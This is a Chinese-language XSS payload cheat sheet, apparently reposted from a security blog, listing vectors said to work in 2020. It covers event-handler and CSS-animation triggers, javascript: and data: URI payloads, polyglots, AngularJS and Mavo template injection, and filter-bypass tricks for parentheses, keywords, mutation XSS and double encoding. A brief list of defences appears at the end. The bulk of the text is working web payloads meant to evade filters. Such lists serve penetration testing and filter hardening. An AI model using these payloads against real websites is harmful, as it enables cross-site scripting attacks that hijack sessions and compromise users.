2020年仍然有效的一些XSS Payload
字数 3036 2025-08-18 11:39:23
2020年有效XSS攻击向量技术手册
1. 标签-属性分隔符技术
现代浏览器支持多种字符作为标签与属性之间的分隔符,可绕过简单的XSS过滤器:
有效分隔符列表:
- 正斜杠
/(%2F) - 回车符
\r(%0D) - 分页符
\f(%0C) - 换行符
\n(%0A) - 水平制表符
\t(%09)
使用示例:
<svg/onload=alert(1)>
<svg
onload=alert(1)>
<svg onload=alert(1)>
2. 基于JavaScript事件的XSS向量
2.1 标准HTML事件
| 事件名称 | 适用标签 | 特点 |
|---|---|---|
| onload | body, iframe, img, frameset等 | 0-click,常被过滤 |
| onpageshow | body | 仅非DOM注入有效 |
| onfocus | 大多数标签 | 配合autofocus实现0-click |
| onmouseover | 大多数标签 | 需要大尺寸区域 |
| onerror | img, input, object等 | 需要错误触发 |
| onanimationstart | 可设置动画的元素 | 需启动CSS动画 |
| onanimationend | 可设置动画的元素 | 需结束CSS动画 |
| onstart | marquee (仅Firefox) | 字幕动画启动时触发 |
| onfinish | marquee (仅Firefox) | 字幕动画结束时触发 |
| ontoggle | details | 需open参数支持0-click |
示例:
<body onload=alert()>
<svg onload=alert()>
<div style="width:1000px;height:1000px" onmouseover=alert()></div>
<input autofocus onfocus=alert(1)>
<details open ontoggle="alert()"> <!-- Chrome & Opera -->
2.2 HTML5事件
| 事件名称 | 适用标签 | 特点 |
|---|---|---|
| onplay | video, audio | 需autoplay+有效媒体 |
| onplaying | video, audio | 需autoplay+有效媒体 |
| oncanplay | video, audio | 需有效媒体 |
| onloadeddata | video, audio | 需有效媒体 |
| onloadedmetadata | video, audio | 需有效媒体 |
| onprogress | video, audio | 需有效媒体 |
| onloadstart | video, audio | 潜在0-click向量 |
示例:
<video autoplay onloadstart="alert()" src=x></video>
<video autoplay controls onplay="alert()"><source src="valid.mp4"></video>
<audio autoplay controls onplaying="alert()"><source src="valid.mp3"></audio>
3. 基于CSS的XSS技术
示例:
<style>@keyframes x {}</style>
<p style="animation: x;" onanimationstart="alert()">XSS</p>
<p style="animation: x;" onanimationend="alert()">XSS</p>
4. 特殊XSS向量
罕见但有效的Payload:
<svg><animate onbegin=alert() attributeName=x></svg>
<object data="data:text/html,<script>alert(5)</script>">
<iframe srcdoc="<svg onload=alert(4);>">
<object data=javascript:alert(3)>
<iframe src=javascript:alert(2)>
<embed src=javascript:alert(1)>
<embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgiWFNTIik7PC9zY3JpcHQ+" type="image/svg+xml" AllowScriptAccess="always">
5. XSS多段覆盖技术
| 字符数 | 类型 | Payload示例 |
|---|---|---|
| 141 | DOM/非DOM | javascript:noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*<svg/*/onload=alert()//> |
| 88 | 非DOM | "'--></noscript></noembed></template></title></textarea></style><script>alert()</script> |
| 95 | DOM | '"--></title></textarea></style></noscript></noembed></template></frameset><svg onload=alert()> |
| 54 | 非DOM | "'noscript></title><script>alert()</script> |
| 42 | DOM | "'--></style></script><svg onload=alert()> |
6. 框架特定XSS
6.1 AngularJS
{{constructor.constructor('alert(1)')()}}
6.2 Mavo
[self.alert(1)]
7. XSS过滤器绕过技术
7.1 圆括号过滤绕过
<svg onload=alert`1`>
<svg onload=alert(1)>
<svg onload=alert(1)>
7.2 关键词过滤绕过
(alert)(1)
(1,2,3,4,5,6,7,8,alert)(1)
a=alert,a(1)
[1].find(alert)
top["al"+"ert"](1)
top[/al/.source+/ert/.source](1)
al\u0065rt(1)
top['al\145rt'](1)
top['al\x65rt'](1)
top[8680439..toString(30)](1) // parseInt("alert",30)
7.3 mXSS (突变XSS)
<svg></p><style><a id="</style>">
<svg><p><style><a id="</style>"></p></svg>
7.4 双重编码绕过
| 字符 | 双重编码 |
|---|---|
| < | %253C |
| > | %253E |
| ( | %2528 |
| ) | %2529 |
| " | %2522 |
| ' | %2527 |
8. 编码转换工具
- JSFuck - 将JS代码转换为仅使用6个字符的等效代码
- JSFsck - 不带圆括号的JSFuck变种
- jjencode - 另一种JS混淆编码方式
9. 防御措施参考
- 使用最新版本的DOMPurify (≥2.0.1)
- 实施严格的CSP策略
- 对所有用户输入进行上下文感知的编码
- 避免直接将用户输入插入DOM